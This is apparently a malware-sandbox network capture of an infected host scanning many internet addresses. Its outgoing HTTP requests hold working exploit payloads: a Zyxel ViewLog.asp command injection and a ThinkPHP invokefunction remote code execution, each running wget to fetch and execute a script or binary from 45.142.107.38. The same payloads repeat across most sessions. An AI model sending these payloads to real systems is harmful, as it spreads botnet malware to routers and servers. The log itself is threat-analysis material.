7e 0d eb d0 2d 45 9b dd bb 61 18 0c 4a a2 24 26 94 a8 91 94 12 ef 69 ee b3 dc 27 db 21 a9 2f 27 76 d2 d4 d9 1f 2b 5a 59 22 0f 7f e7 93 e7 1c b2 5f 20 f4 05 42 8b 2f 5f 9f bf ba f8 ed fd 1b 94 ea 8c af 16 e6 89 42 4e 94 5a 7a 1e 7c 52 12 21 49 d5 2f 1f de 2d 3d 5f 69 a2 59 e8 c7 d3 93 f0 38 98 85 1e 8a 88 26 58 0a a1 4b c9 81 be fe a6 ca 7e ee 21 67 19 49 f6 50 f8 6e ce 5b 81 60 56 3a 78 d8 e7 42 33 cd e9 ea 47 9a 5f b1 5c a1 df eb 97 3f 16 be 9b 58 70 96 5f 81 9c 80 a9 f4 86 53 95 52 aa 3d 94 4a 1a ef e0 72 a9 82 32 8f 80 ca 0f 88 a2 d8 ad c0 d5 78 10 2a e5 21 bd 29 e8 d2 d3 f4 46 fb e6 fb 91 d8 b0 c4 0f 05 17 f2 a9 c0 c0 9a 85 c8 15 ab 28 4e 24 8b 1e 86 4d 85 d4 61 a9 11 0b 45 be 17 39 26 95 99 1f c0 a3 41 b3 b6 f7 ab 3c 1a 64 2c 94 42 89 58 0f 2c 46 8d 6e b5 5a Data Ascii: YnOie;v~-EaJ$&i'!/'v+ZY"_ B/_BNZz\|R!I/-=_iY8&XK~!gIPn[`V:xB3G_\?Xp_SR=Jr2x*!)F(N$MaE9&A<d,BX,FnZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	40988	85.184.134.95	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.738137007 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:57.926734924 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Mon, 04 Mar 2024 14:05:57 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	46006	94.187.96.21	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.762485981 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:58.839174986 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	60202	94.120.231.206	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.781730890 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	50638	112.197.245.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:59.952044010 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:00.334599972 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 21:05:59 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	42172	112.1.69.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:59.963092089 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	33232	88.129.108.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:00.141859055 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	57572	94.122.66.230	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.228616953 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	50510	94.123.137.167	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.228724957 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	59544	94.123.28.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.228805065 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	36308	95.154.66.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.337342024 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	34994	95.131.74.194	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.445986032 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:01.662869930 CET	337	IN	HTTP/1.1 405 Not Allowed Server: Web server Date: Mon, 04 Mar 2024 14:05:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 155 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	43510	94.123.44.26	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.446016073 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	45650	94.123.23.181	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.446067095 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	41286	94.120.55.13	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.446213007 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	33478	31.216.129.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.839363098 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:02.024032116 CET	298	IN	HTTP/1.0 400 Bad Request Content-type: text/plain Connection: close Server: MJPG-Streamer/0.2 Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0 Pragma: no-cache Expires: Mon, 3 Jan 2000 12:34:56 GMT Data Raw: 34 30 30 3a 20 4e 6f 74 20 46 6f 75 6e 64 21 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 48 54 54 50 20 72 65 71 75 65 73 74 Data Ascii: 400: Not Found!Malformed HTTP request

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	35776	31.200.77.46	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.875328064 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	42884	94.123.121.216	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.875899076 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	48206	112.124.66.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:01.967032909 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:02.336724997 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:02 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	49266	95.211.244.136	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:02.132021904 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:02.296623945 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 04 Mar 2024 14:06:02 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	53856	95.179.170.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:02.136100054 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:02.305356979 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	45686	95.100.252.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:02.198568106 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
